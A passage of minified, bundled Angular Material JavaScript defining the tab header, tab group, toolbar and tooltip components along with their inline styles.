new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(we.rL),c.Y36(se.Is,8),c.Y36(c.R0b),c.Y36(ce.t4),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,inputs:{disablePagination:"disablePagination"}}),pt})(),c1=(()=>{class pt extends u1{constructor(fe,Ee,at,Se,ot,Ne,ut){super(fe,Ee,at,Se,ot,Ne,ut),this._disableRipple=!1}get disableRipple(){return this._disableRipple}set disableRipple(fe){this._disableRipple=(0,q.Ig)(fe)}_itemSelected(fe){fe.preventDefault()}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(we.rL),c.Y36(se.Is,8),c.Y36(c.R0b),c.Y36(ce.t4),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,inputs:{disableRipple:"disableRipple"},features:[c.qOj]}),pt})(),It=(()=>{class pt extends c1{constructor(fe,Ee,at,Se,ot,Ne,ut){super(fe,Ee,at,Se,ot,Ne,ut)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(we.rL),c.Y36(se.Is,8),c.Y36(c.R0b),c.Y36(ce.t4),c.Y36(c.QbO,8))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab-header"]],contentQueries:function(fe,Ee,at){if(1&fe&&c.Suo(at,it,4),2&fe){let Se;c.iGM(Se=c.CRH())&&(Ee._items=Se)}},viewQuery:function(fe,Ee){if(1&fe&&(c.Gf(X,7),c.Gf(qe,7),c.Gf(Ke,7),c.Gf(dt,7),c.Gf(bt,5),c.Gf(ze,5)),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._inkBar=at.first),c.iGM(at=c.CRH())&&(Ee._tabListContainer=at.first),c.iGM(at=c.CRH())&&(Ee._tabList=at.first),c.iGM(at=c.CRH())&&(Ee._tabListInner=at.first),c.iGM(at=c.CRH())&&(Ee._nextPaginator=at.first),c.iGM(at=c.CRH())&&(Ee._previousPaginator=at.first)}},hostAttrs:[1,"mat-tab-header"],hostVars:4,hostBindings:function(fe,Ee){2&fe&&c.ekj("mat-tab-header-pagination-controls-enabled",Ee._showPaginationControls)("mat-tab-header-rtl","rtl"==Ee._getLayoutDirection())},inputs:{selectedIndex:"selectedIndex"},outputs:{selectFocusedIndex:"selectFocusedIndex",indexFocused:"indexFocused"},features:[c.qOj],ngContentSelectors:le,decls:14,vars:10,consts:[["aria-hidden","true","type","button","mat-ripple","","tabindex","-1",1,"mat-tab-header-pagination","mat-tab-header-pagination-before","mat-elevation-z4",3,"matRippleDisabled","disabled","click","mousedown","touchend"],["previousPaginator",""],[1,"mat-tab-header-pagination-chevron"],[1,"mat-tab-label-container",3,"keydown"],["tabListContainer",""],["role","tablist",1,"mat-tab-list",3,"cdkObserveContent"],["tabList",""],[1,"mat-tab-labels"],["tabListInner",""],["aria-hidden","true","type","button","mat-ripple","","tabindex","-1",1,"mat-tab-header-pagination","mat-tab-header-pagination-after","mat-elevation-z4",3,"matRippleDisabled","disabled","mousedown","click","touchend"],["nextPaginator",""]],template:function(fe,Ee){1&fe&&(c.F$t(),c.TgZ(0,"button",0,1),c.NdJ("click",function(){return Ee._handlePaginatorClick("before")})("mousedown",function(Se){return Ee._handlePaginatorPress("before",Se)})("touchend",function(){return Ee._stopInterval()}),c._UZ(2,"div",2),c.qZA(),c.TgZ(3,"div",3,4),c.NdJ("keydown",function(Se){return Ee._handleKeydown(Se)}),c.TgZ(5,"div",5,6),c.NdJ("cdkObserveContent",function(){return Ee._onContentChanges()}),c.TgZ(7,"div",7,8),c.Hsn(9),c.qZA(),c._UZ(10,"mat-ink-bar"),c.qZA()(),c.TgZ(11,"button",9,10),c.NdJ("mousedown",function(Se){return Ee._handlePaginatorPress("after",Se)})("click",function(){return Ee._handlePaginatorClick("after")})("touchend",function(){return Ee._stopInterval()}),c._UZ(13,"div",2),c.qZA()),2&fe&&(c.ekj("mat-tab-header-pagination-disabled",Ee._disableScrollBefore),c.Q6J("matRippleDisabled",Ee._disableScrollBefore||Ee.disableRipple)("disabled",Ee._disableScrollBefore||null),c.xp6(5),c.ekj("_mat-animation-noopable","NoopAnimations"===Ee._animationMode),c.xp6(6),c.ekj("mat-tab-header-pagination-disabled",Ee._disableScrollAfter),c.Q6J("matRippleDisabled",Ee._disableScrollAfter||Ee.disableRipple)("disabled",Ee._disableScrollAfter||null))},dependencies:[f.wG,a.wD,X],styles:[".mat-tab-header{display:flex;overflow:hidden;position:relative;flex-shrink:0}.mat-tab-header-pagination{-webkit-user-select:none;user-select:none;position:relative;display:none;justify-content:center;align-items:center;min-width:32px;cursor:pointer;z-index:2;-webkit-tap-highlight-color:rgba(0,0,0,0);touch-action:none;box-sizing:content-box;background:none;border:none;outline:0;padding:0}.mat-tab-header-pagination::-moz-focus-inner{border:0}.mat-tab-header-pagination-controls-enabled .mat-tab-header-pagination{display:flex}.mat-tab-header-pagination-before,.mat-tab-header-rtl .mat-tab-header-pagination-after{padding-left:4px}.mat-tab-header-pagination-before .mat-tab-header-pagination-chevron,.mat-tab-header-rtl .mat-tab-header-pagination-after .mat-tab-header-pagination-chevron{transform:rotate(-135deg)}.mat-tab-header-rtl .mat-tab-header-pagination-before,.mat-tab-header-pagination-after{padding-right:4px}.mat-tab-header-rtl .mat-tab-header-pagination-before .mat-tab-header-pagination-chevron,.mat-tab-header-pagination-after .mat-tab-header-pagination-chevron{transform:rotate(45deg)}.mat-tab-header-pagination-chevron{border-style:solid;border-width:2px 2px 0 0;height:8px;width:8px}.mat-tab-header-pagination-disabled{box-shadow:none;cursor:default}.mat-tab-list{flex-grow:1;position:relative;transition:transform 500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-ink-bar{position:absolute;bottom:0;height:2px;transition:500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-ink-bar._mat-animation-noopable{transition:none !important;animation:none !important}.mat-tab-group-inverted-header .mat-ink-bar{bottom:auto;top:0}.cdk-high-contrast-active .mat-ink-bar{outline:solid 2px;height:0}.mat-tab-labels{display:flex}[mat-align-tabs=center]>.mat-tab-header .mat-tab-labels{justify-content:center}[mat-align-tabs=end]>.mat-tab-header .mat-tab-labels{justify-content:flex-end}.mat-tab-label-container{display:flex;flex-grow:1;overflow:hidden;z-index:1}.mat-tab-list._mat-animation-noopable{transition:none !important;animation:none !important}.mat-tab-label{height:48px;padding:0 24px;cursor:pointer;box-sizing:border-box;opacity:.6;min-width:160px;text-align:center;display:inline-flex;justify-content:center;align-items:center;white-space:nowrap;position:relative}.mat-tab-label:focus{outline:none}.mat-tab-label:focus:not(.mat-tab-disabled){opacity:1}.mat-tab-label.mat-tab-disabled{cursor:default}.cdk-high-contrast-active .mat-tab-label.mat-tab-disabled{opacity:.5}.mat-tab-label .mat-tab-label-content{display:inline-flex;justify-content:center;align-items:center;white-space:nowrap}.cdk-high-contrast-active .mat-tab-label{opacity:1}.mat-tab-label::before{margin:5px}@media(max-width: 599px){.mat-tab-label{min-width:72px}}"],encapsulation:2}),pt})(),_t=0;class kt{}const Fe=(0,f.pj)((0,f.Kr)(class{constructor(pt){this._elementRef=pt}}),"primary");let be=(()=>{class pt extends Fe{constructor(fe,Ee,at,Se){super(fe),this._changeDetectorRef=Ee,this._animationMode=Se,this._tabs=new c.n_E,this._indexToSelect=0,this._lastFocusedTabIndex=null,this._tabBodyWrapperHeight=0,this._tabsSubscription=U.w.EMPTY,this._tabLabelSubscription=U.w.EMPTY,this._dynamicHeight=!1,this._selectedIndex=null,this.headerPosition="above",this._disablePagination=!1,this._preserveContent=!1,this.selectedIndexChange=new c.vpe,this.focusChange=new c.vpe,this.animationDone=new c.vpe,this.selectedTabChange=new c.vpe(!0),this._groupId=_t++,this.animationDuration=at&&at.animationDuration?at.animationDuration:"500ms",this.disablePagination=!(!at||null==at.disablePagination)&&at.disablePagination,this.dynamicHeight=!(!at||null==at.dynamicHeight)&&at.dynamicHeight,this.contentTabIndex=at?.contentTabIndex??null,this.preserveContent=!!at?.preserveContent}get dynamicHeight(){return this._dynamicHeight}set dynamicHeight(fe){this._dynamicHeight=(0,q.Ig)(fe)}get selectedIndex(){return this._selectedIndex}set selectedIndex(fe){this._indexToSelect=(0,q.su)(fe,null)}get animationDuration(){return this._animationDuration}set animationDuration(fe){this._animationDuration=/^\\d+$/.test(fe+"")?fe+"ms":fe}get contentTabIndex(){return this._contentTabIndex}set contentTabIndex(fe){this._contentTabIndex=(0,q.su)(fe,null)}get disablePagination(){return this._disablePagination}set disablePagination(fe){this._disablePagination=(0,q.Ig)(fe)}get preserveContent(){return this._preserveContent}set preserveContent(fe){this._preserveContent=(0,q.Ig)(fe)}get backgroundColor(){return this._backgroundColor}set backgroundColor(fe){const Ee=this._elementRef.nativeElement;Ee.classList.remove(`mat-background-${this.backgroundColor}`),fe&&Ee.classList.add(`mat-background-${fe}`),this._backgroundColor=fe}ngAfterContentChecked(){const fe=this._indexToSelect=this._clampTabIndex(this._indexToSelect);if(this._selectedIndex!=fe){const Ee=null==this._selectedIndex;if(!Ee){this.selectedTabChange.emit(this._createChangeEvent(fe));const at=this._tabBodyWrapper.nativeElement;at.style.minHeight=at.clientHeight+"px"}Promise.resolve().then(()=>{this._tabs.forEach((at,Se)=>at.isActive=Se===fe),Ee||(this.selectedIndexChange.emit(fe),this._tabBodyWrapper.nativeElement.style.minHeight="")})}this._tabs.forEach((Ee,at)=>{Ee.position=at-fe,null!=this._selectedIndex&&0==Ee.position&&!Ee.origin&&(Ee.origin=fe-this._selectedIndex)}),this._selectedIndex!==fe&&(this._selectedIndex=fe,this._lastFocusedTabIndex=null,this._changeDetectorRef.markForCheck())}ngAfterContentInit(){this._subscribeToAllTabChanges(),this._subscribeToTabLabels(),this._tabsSubscription=this._tabs.changes.subscribe(()=>{const fe=this._clampTabIndex(this._indexToSelect);if(fe===this._selectedIndex){const Ee=this._tabs.toArray();let at;for(let Se=0;Se<Ee.length;Se++)if(Ee[Se].isActive){this._indexToSelect=this._selectedIndex=Se,this._lastFocusedTabIndex=null,at=Ee[Se];break}!at&&Ee[fe]&&Promise.resolve().then(()=>{Ee[fe].isActive=!0,this.selectedTabChange.emit(this._createChangeEvent(fe))})}this._changeDetectorRef.markForCheck()})}_subscribeToAllTabChanges(){this._allTabs.changes.pipe((0,_.O)(this._allTabs)).subscribe(fe=>{this._tabs.reset(fe.filter(Ee=>Ee._closestTabGroup===this||!Ee._closestTabGroup)),this._tabs.notifyOnChanges()})}ngOnDestroy(){this._tabs.destroy(),this._tabsSubscription.unsubscribe(),this._tabLabelSubscription.unsubscribe()}realignInkBar(){this._tabHeader&&this._tabHeader._alignInkBarToSelectedTab()}updatePagination(){this._tabHeader&&this._tabHeader.updatePagination()}focusTab(fe){const Ee=this._tabHeader;Ee&&(Ee.focusIndex=fe)}_focusChanged(fe){this._lastFocusedTabIndex=fe,this.focusChange.emit(this._createChangeEvent(fe))}_createChangeEvent(fe){const Ee=new kt;return Ee.index=fe,this._tabs&&this._tabs.length&&(Ee.tab=this._tabs.toArray()[fe]),Ee}_subscribeToTabLabels(){this._tabLabelSubscription&&this._tabLabelSubscription.unsubscribe(),this._tabLabelSubscription=(0,oe.T)(...this._tabs.map(fe=>fe._stateChanges)).subscribe(()=>this._changeDetectorRef.markForCheck())}_clampTabIndex(fe){return Math.min(this._tabs.length-1,Math.max(fe||0,0))}_getTabLabelId(fe){return`mat-tab-label-${this._groupId}-${fe}`}_getTabContentId(fe){return`mat-tab-content-${this._groupId}-${fe}`}_setTabBodyWrapperHeight(fe){if(!this._dynamicHeight||!this._tabBodyWrapperHeight)return;const Ee=this._tabBodyWrapper.nativeElement;Ee.style.height=this._tabBodyWrapperHeight+"px",this._tabBodyWrapper.nativeElement.offsetHeight&&(Ee.style.height=fe+"px")}_removeTabBodyWrapperHeight(){const fe=this._tabBodyWrapper.nativeElement;this._tabBodyWrapperHeight=fe.clientHeight,fe.style.height="",this.animationDone.emit()}_handleClick(fe,Ee,at){fe.disabled||(this.selectedIndex=Ee.focusIndex=at)}_getTabIndex(fe,Ee){return fe.disabled?null:Ee===(this._lastFocusedTabIndex??this.selectedIndex)?0:-1}_tabFocusChanged(fe,Ee){fe&&"mouse"!==fe&&"touch"!==fe&&(this._tabHeader.focusIndex=Ee)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(ie,8),c.Y36(c.QbO,8))},pt.\\u0275dir=c.lG2({type:pt,inputs:{dynamicHeight:"dynamicHeight",selectedIndex:"selectedIndex",headerPosition:"headerPosition",animationDuration:"animationDuration",contentTabIndex:"contentTabIndex",disablePagination:"disablePagination",preserveContent:"preserveContent",backgroundColor:"backgroundColor"},outputs:{selectedIndexChange:"selectedIndexChange",focusChange:"focusChange",animationDone:"animationDone",selectedTabChange:"selectedTabChange"},features:[c.qOj]}),pt})(),Pe=(()=>{class pt extends be{constructor(fe,Ee,at,Se){super(fe,Ee,at,Se)}}return pt.\\u0275fac=function(fe){return new(fe||pt)(c.Y36(c.SBq),c.Y36(c.sBO),c.Y36(ie,8),c.Y36(c.QbO,8))},pt.\\u0275cmp=c.Xpm({type:pt,selectors:[["mat-tab-group"]],contentQueries:function(fe,Ee,at){if(1&fe&&c.Suo(at,te,5),2&fe){let Se;c.iGM(Se=c.CRH())&&(Ee._allTabs=Se)}},viewQuery:function(fe,Ee){if(1&fe&&(c.Gf(De,5),c.Gf(re,5)),2&fe){let at;c.iGM(at=c.CRH())&&(Ee._tabBodyWrapper=at.first),c.iGM(at=c.CRH())&&(Ee._tabHeader=at.first)}},hostAttrs:[1,"mat-tab-group"],hostVars:4,hostBindings:function(fe,Ee){2&fe&&c.ekj("mat-tab-group-dynamic-height",Ee.dynamicHeight)("mat-tab-group-inverted-header","below"===Ee.headerPosition)},inputs:{color:"color",disableRipple:"disableRipple"},exportAs:["matTabGroup"],features:[c._Bn([{provide:Ie,useExisting:pt}]),c.qOj],decls:6,vars:7,consts:[[3,"selectedIndex","disableRipple","disablePagination","indexFocused","selectFocusedIndex"],["tabHeader",""],["class","mat-tab-label mat-focus-indicator","role","tab","matTabLabelWrapper","","mat-ripple","","cdkMonitorElementFocus","",3,"id","mat-tab-label-active","ngClass","disabled","matRippleDisabled","click","cdkFocusChange",4,"ngFor","ngForOf"],[1,"mat-tab-body-wrapper"],["tabBodyWrapper",""],["role","tabpanel",3,"id","mat-tab-body-active","ngClass","content","position","origin","animationDuration","preserveContent","_onCentered","_onCentering",4,"ngFor","ngForOf"],["role","tab","matTabLabelWrapper","","mat-ripple","","cdkMonitorElementFocus","",1,"mat-tab-label","mat-focus-indicator",3,"id","ngClass","disabled","matRippleDisabled","click","cdkFocusChange"],[1,"mat-tab-label-content"],[3,"ngIf","ngIfElse"],["tabTextLabel",""],[3,"cdkPortalOutlet"],["role","tabpanel",3,"id","ngClass","content","position","origin","animationDuration","preserveContent","_onCentered","_onCentering"]],template:function(fe,Ee){1&fe&&(c.TgZ(0,"mat-tab-header",0,1),c.NdJ("indexFocused",function(Se){return Ee._focusChanged(Se)})("selectFocusedIndex",function(Se){return Ee.selectedIndex=Se}),c.YNc(2,Be,5,15,"div",2),c.qZA(),c.TgZ(3,"div",3,4),c.YNc(5,pe,1,11,"mat-tab-body",5),c.qZA()),2&fe&&(c.Q6J("selectedIndex",Ee.selectedIndex||0)("disableRipple",Ee.disableRipple)("disablePagination",Ee.disablePagination),c.xp6(2),c.Q6J("ngForOf",Ee._tabs),c.xp6(1),c.ekj("_mat-animation-noopable","NoopAnimations"===Ee._animationMode),c.xp6(2),c.Q6J("ngForOf",Ee._tabs))},dependencies:[u.mk,u.sg,u.O5,s.Pl,f.wG,n.kH,it,B,It],styles:[".mat-tab-group{display:flex;flex-direction:column;max-width:100%}.mat-tab-group.mat-tab-group-inverted-header{flex-direction:column-reverse}.mat-tab-label{height:48px;padding:0 24px;cursor:pointer;box-sizing:border-box;opacity:.6;min-width:160px;text-align:center;display:inline-flex;justify-content:center;align-items:center;white-space:nowrap;position:relative}.mat-tab-label:focus{outline:none}.mat-tab-label:focus:not(.mat-tab-disabled){opacity:1}.mat-tab-label.mat-tab-disabled{cursor:default}.cdk-high-contrast-active .mat-tab-label.mat-tab-disabled{opacity:.5}.mat-tab-label .mat-tab-label-content{display:inline-flex;justify-content:center;align-items:center;white-space:nowrap}.cdk-high-contrast-active .mat-tab-label{opacity:1}@media(max-width: 599px){.mat-tab-label{padding:0 12px}}@media(max-width: 959px){.mat-tab-label{padding:0 12px}}.mat-tab-group[mat-stretch-tabs]>.mat-tab-header .mat-tab-label{flex-basis:0;flex-grow:1}.mat-tab-body-wrapper{position:relative;overflow:hidden;display:flex;transition:height 500ms cubic-bezier(0.35, 0, 0.25, 1)}.mat-tab-body-wrapper._mat-animation-noopable{transition:none !important;animation:none !important}.mat-tab-body{top:0;left:0;right:0;bottom:0;position:absolute;display:block;overflow:hidden;outline:0;flex-basis:100%}.mat-tab-body.mat-tab-body-active{position:relative;overflow-x:hidden;overflow-y:auto;z-index:1;flex-grow:1}.mat-tab-group.mat-tab-group-dynamic-height .mat-tab-body.mat-tab-body-active{overflow-y:hidden}"],encapsulation:2}),pt})(),jt=(()=>{class pt{}return pt.\\u0275fac=function(fe){return new(fe||pt)},pt.\\u0275mod=c.oAB({type:pt}),pt.\\u0275inj=c.cJS({imports:[u.ez,f.BQ,s.eL,f.si,a.Q8,n.rt,f.BQ]}),pt})()},3683:(At,ae,d)=>{"use strict";d.d(ae,{Ye:()=>S,g0:()=>C,rD:()=>_});var n=d(4650),a=d(3238),s=d(3353),u=d(6895);const c=["*",[["mat-toolbar-row"]]],f=["*","mat-toolbar-row"],E=(0,a.pj)(class{constructor(z){this._elementRef=z}});let _=(()=>{class z{}return z.\\u0275fac=function(j){return new(j||z)},z.\\u0275dir=n.lG2({type:z,selectors:[["mat-toolbar-row"]],hostAttrs:[1,"mat-toolbar-row"],exportAs:["matToolbarRow"]}),z})(),S=(()=>{class z extends E{constructor(j,U,G){super(j),this._platform=U,this._document=G}ngAfterViewInit(){this._platform.isBrowser&&(this._checkToolbarMixedModes(),this._toolbarRows.changes.subscribe(()=>this._checkToolbarMixedModes()))}_checkToolbarMixedModes(){}}return z.\\u0275fac=function(j){return new(j||z)(n.Y36(n.SBq),n.Y36(s.t4),n.Y36(u.K0))},z.\\u0275cmp=n.Xpm({type:z,selectors:[["mat-toolbar"]],contentQueries:function(j,U,G){if(1&j&&n.Suo(G,_,5),2&j){let Q;n.iGM(Q=n.CRH())&&(U._toolbarRows=Q)}},hostAttrs:[1,"mat-toolbar"],hostVars:4,hostBindings:function(j,U){2&j&&n.ekj("mat-toolbar-multiple-rows",U._toolbarRows.length>0)("mat-toolbar-single-row",0===U._toolbarRows.length)},inputs:{color:"color"},exportAs:["matToolbar"],features:[n.qOj],ngContentSelectors:f,decls:2,vars:0,template:function(j,U){1&j&&(n.F$t(c),n.Hsn(0),n.Hsn(1,1))},styles:[".cdk-high-contrast-active .mat-toolbar{outline:solid 1px}.mat-toolbar-row,.mat-toolbar-single-row{display:flex;box-sizing:border-box;padding:0 16px;width:100%;flex-direction:row;align-items:center;white-space:nowrap}.mat-toolbar-multiple-rows{display:flex;box-sizing:border-box;flex-direction:column;width:100%}"],encapsulation:2,changeDetection:0}),z})(),C=(()=>{class z{}return z.\\u0275fac=function(j){return new(j||z)},z.\\u0275mod=n.oAB({type:z}),z.\\u0275inj=n.cJS({imports:[a.BQ,a.BQ]}),z})()},266:(At,ae,d)=>{"use strict";d.d(ae,{AV:()=>qe,gM:()=>Oe});var n=d(8184),a=d(2687),s=d(6895),u=d(4650),c=d(3238),f=d(7261),E=d(445),_=d(1281),S=d(9521),g=d(2289),C=d(3353),z=d(4080),H=d(8929),j=d(7625),U=d(2986);d(7340);const Q=["tooltip"],k="tooltip-panel",K=(0,C.i$)({passive:!0}),q=new u.OlP("mat-tooltip-scroll-strategy"),ce={provide:q,deps:[n.aV],useFactory:function we(dt){return()=>dt.scrollStrategies.reposition({scrollThrottle:20})}},je=new u.OlP("mat-tooltip-default-options",{providedIn:"root",factory:function Ze(){return{showDelay:0,hideDelay:0,touchendHideDelay:1500}}});let le=(()=>{class dt{constructor(ze,De,re,ve,We,xt,Be,pe,P,w,R,X){this._overlay=ze,this._elementRef=De,this._scrollDispatcher=re,this._viewContainerRef=ve,this._ngZone=We,this._platform=xt,this._ariaDescriber=Be,this._focusMonitor=pe,this._dir=w,this._defaultOptions=R,this._position="below",this._disabled=!1,this._viewInitialized=!1,this._pointerExitEventsInitialized=!1,this._viewportMargin=8,this._cssClassPrefix="mat",this._showDelay=this._defaultOptions.showDelay,this._hideDelay=this._defaultOptions.hideDelay,this.touchGestures="auto",this._message="",this._passiveListeners=[],this._destroyed=new H.xQ,this._scrollStrategy=P,this._document=X,R&&(R.position&&(this.position=R.position),R.touchGestures&&(this.touchGestures=R.touchGestures)),w.change.pipe((0,j.R)(this._destroyed)).subscribe(()=>{this._overlayRef&&this._updatePosition(this._overlayRef)})}get position(){return this._position}set position(ze){ze!==this._position&&(this._position=ze,this._overlayRef&&(this._updatePosition(this._overlayRef),this._tooltipInstance?.show(0),this._overlayRef.updatePosition()))}get disabled(){return this._disabled}set disabled(ze){this._disabled=(0,_.Ig)(ze),this._disabled?this.hide(0):this._setupPointerEnterEventsIfNeeded()}get showDelay(){return this._showDelay}set showDelay(ze){this._showDelay=(0,_.su)(ze)}get hideDelay(){return this._hideDelay}set hideDelay(ze){this._hideDelay=(0,_.su)(ze),this._tooltipInstance&&(this._tooltipInstance._mouseLeaveHideDelay=this._hideDelay)}get message(){return this._message}set message(ze){this._ariaDescriber.removeDescription(this._elementRef.nativeElement,this._message,"tooltip"),this._message=null!=ze?String(ze).trim():"",!this._message&&this._isTooltipVisible()?this.hide(0):(this._setupPointerEnterEventsIfNeeded(),this._updateTooltipMessage(),this._ngZone.runOutsideAngular(()=>{Promise.resolve().then(()=>{this._ariaDescriber.describe(this._elementRef.nativeElement,this.message,"tooltip")})}))}get tooltipClass(){return this._tooltipClass}set tooltipClass(ze){this._tooltipClass=ze,this._tooltipInstance&&this._setTooltipClass(this._tooltipClass)}ngAfterViewInit(){this._viewInitialized=!0,this._setupPointerEnterEventsIfNeeded(),this._focusMonitor.monitor(this._elementRef).pipe((0,j.R)(this._destroyed)).subscribe(ze=>{ze?"keyboard"===ze&&this._ngZone.run(()=>this.show()):this._ngZone.run(()=>this.hide(0))})}ngOnDestroy(){const ze=this._elementRef.nativeElement;clearTimeout(this._touchstartTimeout),this._overlayRef&&(this._overlayRef.dispose(),this._tooltipInstance=null),this._passiveListeners.forEach(([De,re])=>{ze.removeEventListener(De,re,K)}),this._passiveListeners.length=0,this._destroyed.next(),this._destroyed.complete(),this._ariaDescriber.removeDescription(ze,this.message,"tooltip"),this._focusMonitor.stopMonitoring(ze)}show(ze=this.showDelay){if(this.disabled||!this.message||this._isTooltipVisible())return void this._tooltipInstance?._cancelPendingAnimations();const De=this._createOverlay();this._detach(),this._portal=this._portal||new z.C5(this._tooltipComponent,this._viewContainerRef);const re=this._tooltipInstance=De.attach(this._portal).instance;re._triggerElement=this._elementRef.nativeElement,re._mouseLeaveHideDelay=this._hideDelay,re.afterHidden().pipe((0,j.R)(this._destroyed)).subscribe(()=>this._detach()),this._setTooltipClass(this._tooltipClass),this._updateTooltipMessage(),re.show(ze)}hide(ze=this.hideDelay){const De=this._tooltipInstance;De&&(De.isVisible()?De.hide(ze):(De._cancelPendingAnimations(),this._detach()))}toggle(){this._isTooltipVisible()?this.hide():this.show()}_isTooltipVisible(){return!!this._tooltipInstance&&this._tooltipInstance.isVisible()}_createOverlay(){if(this._overlayRef)return this._overlayRef;const ze=this._scrollDispatcher.getAncestorScrollContainers(this._elementRef),De=this._overlay.position().flexibleConnectedTo(this._elementRef).withTransformOriginOn(`.${this._cssClassPrefix}-tooltip`).withFlexibleDimensions(!1).withViewportMargin(this._viewportMargin).withScrollableContainers(ze);return De.positionChanges.pipe((0,j.R)(this._destroyed)).subscribe(re=>{this._updateCurrentPositionClass(re.connectionPair),this._tooltipInstance&&re.scrollableViewProperties.isOverlayClipped&&this._tooltipInstance.isVisible()&&this._ngZone.run(()=>this.hide(0))}),this._overlayRef=this._overlay.create({direction:this._dir,positionStrategy:De,panelClass:`${this._cssClassPrefix}-${k}`,scrollStrategy:this._scrollStrategy()}),this._updatePosition(this._overlayRef),this._overlayRef.detachments().pipe((0,j.R)(this._destroyed)).subscribe(()=>this._detach()),this._overlayRef.outsidePointerEvents().pipe((0,j.R)(this._destroyed)).subscribe(()=>this._tooltipInstance?._handleBodyInteraction()),this._overlayRef.keydownEvents().pipe((0,j.R)(this._destroyed)).subscribe(re=>{this._isTooltipVisible()&&re.keyCode===S.hY&&!(0,S.Vb)(re)&&(re.preventDefault(),re.stopPropagation(),this._ngZone.run(()=>this.hide(0)))}),this._defaultOptions?.disableTooltipInteractivity&&this._overlayRef.addPanelClass(`${this._cssClassPrefix}-tooltip-panel-non-interactive`),this._overlayRef}_detach(){this._overlayRef&&this._overlayRef.hasAttached()&&this._overlayRef.detach(),this._tooltipInstance=null}_updatePosition(ze){const De=ze.getConfig().positionStrategy,re=this._getOrigin(),ve=this._getOverlayPosition();De.withPositions([this._addOffset({...re.main,...ve.main}),this._addOffset({...re.fallback,...ve.fallback})])}_addOffset(ze){return ze}_getOrigin(){const ze=!this._dir||"ltr"==this._dir.value,De=this.position;let re;"above"==De||"below"==De?re={originX:"center",originY:"above"==De?"top":"bottom"}:"before"==De||"left"==De&&ze||"right"==De&&!ze?re={originX:"start",originY:"center"}:("after"==De||"right"==De&&ze||"left"==De&&!ze)&&(re={originX:"end",originY:"center"});const{x:ve,y:We}=this._invertPosition(re.originX,re.originY);return{main:re,fallback:{originX:ve,originY:We}}}_getOverlayPosition(){const ze=!this._dir||"ltr"==this._dir.value,De=this.position;let re;"above"==De?re={overlayX:"center",overlayY:"bottom"}:"below"==De?re={overlayX:"center",overlayY:"top"}:"before"==De||"left"==De&&ze||"right"==De&&!ze?re={overlayX:"end",overlayY:"center"}:("after"==De||"right"==De&&ze||"left"==De&&!ze)&&(re={overlayX:"start",overlayY:"center"});const{x:ve,y:We}=this._invertPosition(re.overlayX,re.overlayY);return{main:re,fallback:{overlayX:ve,overlayY:We}}}_updateTooltipMessage(){this._tooltipInstance&&(this._tooltipInstance.message=this.message,this._tooltipInstance._markForCheck(),this._ngZone.onMicrotaskEmpty.pipe((0,U.q)(1),(0,j.R)(this._destroyed)).subscribe(()=>{this._tooltipInstance&&this._overlayRef.updatePosition()}))}_setTooltipClass(ze){this._tooltipInstance&&(this._tooltipInstance.tooltipClass=ze,this._tooltipInstance._markForCheck())}_invertPosition(ze,De){return"above"===this.position||"below"===this.position?"top"===De?De="bottom":"bottom"===De&&(De="top"):"end"===ze?ze="start":"start"===ze&&(ze="end"),{x:ze,y:De}}_updateCurrentPositionClass(ze){const{overlayY:De,originX:re,originY:ve}=ze;let We;if(We="center"===De?this._dir&&"rtl"===this._dir.value?"end"===re?"left":"right":"start"===re?"left":"right":"bottom"===De&&"top"===ve?"above":"below",We!==this._currentPosition){const xt=this._overlayRef;if(xt){const Be=`${this._cssClassPrefix}-${k}-`;xt.removePanelClass(Be+this._currentPosition),xt.addPanelClass(Be+We)}this._currentPosition=We}}_setupPointerEnterEventsIfNeeded(){this._disabled||!this.message||!this._viewInitialized||this._passiveListeners.length||(this._platformSupportsMouseEvents()?this._passiveListeners.push(["mouseenter",()=>{this._setupPointerExitEventsIfNeeded(),this.show()}]):"off"!==this.touchGestures&&(this._disableNativeGesturesIfNecessary(),this._passiveListeners.push(["touchstart",()=>{this._setupPointerExitEventsIfNeeded(),clearTimeout(this._touchstartTimeout),this._touchstartTimeout=setTimeout(()=>this.show(),500)}])),this._addListeners(this._passiveListeners))}_setupPointerExitEventsIfNeeded(){if(this._pointerExitEventsInitialized)return;this._pointerExitEventsInitialized=!0;const ze=[];if(this._platformSupportsMouseEvents())ze.push(["mouseleave",De=>{const re=De.relatedTarget;(!re||!this._overlayRef?.overlayElement.contains(re))&&this.hide()}],["wheel",De=>this._wheelListener(De)]);else if("off"!==this.touchGestures){this._disableNativeGesturesIfNecessary();const De=()=>{clearTimeout(this._touchstartTimeout),this.hide(this._defaultOptions.touchendHideDelay)};ze.push(["touchend",De],["touchcancel",De])}this._addListeners(ze),this._passiveListeners.push(...ze)}_addListeners(ze){ze.forEach(([De,re])=>{this._elementRef.nativeElement.addEventListener(De,re,K)})}_platformSupportsMouseEvents(){return!this._platform.IOS&&!this._platform.ANDROID}_wheelListener(ze){if(this._isTooltipVisible()){const De=this._document.elementFromPoint(ze.clientX,ze.clientY),re=this._elementRef.nativeElement;De!==re&&!re.contains(De)&&this.hide()}}_disableNativeGesturesIfNecessary(){const ze=this.touchGestures;if("off"!==ze){const De=this._elementRef.nativeElement,re=De.style;("on"===ze||"INPUT"!==De.nodeName&&"TEXTAREA"!==De.nodeName)&&(re.userSelect=re.msUserSelect=re.webkitUserSelect=re.MozUserSelect="none"),("on"===ze||!De.draggable)&&(re.webkitUserDrag="none"),re.touchAction="none",re.webkitTapHighlightColor="transparent"}}}return dt.\\u0275fac=function(ze){u.$Z()},dt.\\u0275dir=u.lG2({type:dt,inputs:{position:["matTooltipPosition","position"],disabled:["matTooltipDisabled","disabled"],showDelay:["matTooltipShowDelay","showDelay"],hideDelay:["matTooltipHideDelay","hideDelay"],touchGestures:["matTooltipTouchGestures","touchGestures"],message:["matTooltip","message"],tooltipClass:["matTooltipClass","tooltipClass"]}}),dt})(),Oe=(()=>{class dt extends 